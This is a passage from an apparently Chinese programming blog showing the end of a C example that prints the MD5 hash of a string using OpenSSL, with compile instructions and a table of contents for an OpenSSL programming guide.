    unsigned char hash_ret[16];
    int i;
 
    // check usage
    if (argc != 2) 
    {
        fprintf(stderr, "%s <input string>\n", argv[0]);
        exit(-1);
    }
 
    // set the input string
    snprintf(input_string, sizeof(input_string), "%s\n", argv[1]);
 
    // initialize a hash context 
    MD5_Init(&hash_ctx);
 
    // update the input string to the hash context (you can update
    // more string to the hash context)
    MD5_Update(&hash_ctx, input_string, strlen(input_string));
 
    // compute the hash result
    MD5_Final(hash_ret, &hash_ctx);
 
    // print
    printf("Input string: %s", input_string);
    printf("Output string: ");
    for (i=0; i<32; ++i) 
    {
        if (i % 2 == 0) 
        {
            printf("%x", (hash_ret[i/2] >> 4) &0xf);
        } 
        else 
        {
            printf("%x", (hash_ret[i/2]) &0xf);
        }
    }
    printf("\n");
 
    return 0;
}

usage:
1. 编译程序
gcc -Wall md5.c -o md5 -lssl
2. 运行程序
./md5 hello
复制代码

 

Copyright (c) 2014 LittleHann All rights reserved

第一章 基础知识 81.1 对称算法 81.2摘要算法 81.3 公钥算法 91.4 回调函数 11第二章 openssl简介 132.1 openssl简介 132.2 openssl安装 132.2.1 linux下的安装 132.2.2 windows编译与安装 132.3 openssl源代码 142.4 openssl学习方法 16第三章openssl堆栈 173.1 openssl堆栈 173.2 数据结构 173.3 源码 173.4 定义用户自己的堆栈函数 183.5 编程示例 19第四章 openssl哈希表 214.1 哈希表 214.2 哈希表数据结构 214.3 函数说明 224.4 编程示例 24第五章 openssl内存分配 275.1 openssl内存分配 275.2 内存数据结构 275.3 主要函数 285.4 编程示例 28第六章 Openssl动态模块加载 316.1 动态加载 316.2 DSO概述 316.3 数据结构 316.4 编程示例 32第七章 openssl抽象IO 357.1 openssl抽象IO 357.2 数据结构 357.3 BIO 函数 367.4 编程示例 377.4.1 mem bio 377.4.2 file bio 377.4.3 socket bio 387.4.4 md BIO 407.4.5 cipher BIO 407.4.6 ssl BIO 417.4.7 其他示例 43第八章 Openssl配置文件 448.1 概述 448.2 openssl配置文件读取 448.3 主要函数 448.4 编程示例 45第九章 Openssl随机数 479.1 随机数 479.2 openssl随机数数据结构与源码 479.3 主要函数 489.4 编程示例 49第十章 Openssl文本数据 5110.1 概述 5110.2 数据结构 5110.3 函数说明 5210.4 编程示例 52第十一章 Openssl大数 5511.1 介绍 5511.2 openssl大数表示 5511.3 大数函数 5511.4 使用示例 58第十二章 Openssl base64编解码 6512.1 BASE64编码介绍 6512.2 BASE64编解码原理 6512.3 主要函数 6612.4 编程示例 66第十三章 Openssl ASN1 6913.1 ASN1简介 6913.2 DER编码 7013.3 ASN1基本类型示例 7113.4 openssl 的ASN.1 7313.5 用openssl的ASN.1DER编码 7413.6 Openssl的ASN.1宏 7513.7 ASN1常用函数 7613.8 属性证书编码 90第十四章 Openssl错误处理 9414.1 概述 9414.2 数据结构 9414.3 主要函数 9614.4 编程示例 98第十五章 Openssl摘要与HMAC 10115.1 概述 10115.2 openssl摘要实现 10115.3 函数说明 10115.4 编程示例 10215.5 HMAC 103第十六章 Openssl数据压缩 10516.1 简介 10516.2 数据结构 10516.3 函数说明 10616.4 openssl中压缩算法协商 10616.5 编程示例 107第十七章 Openssl RSA 10817.1 RSA介绍 10817.2 openssl的RSA实现 10817.3 RSA签名与验证过程 10917.4 数据结构 10917.4.1 RSA_METHOD 10917.4.2 RSA 11017.5 主要函数 11117.6编程示例 11217.6.1密钥生成
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值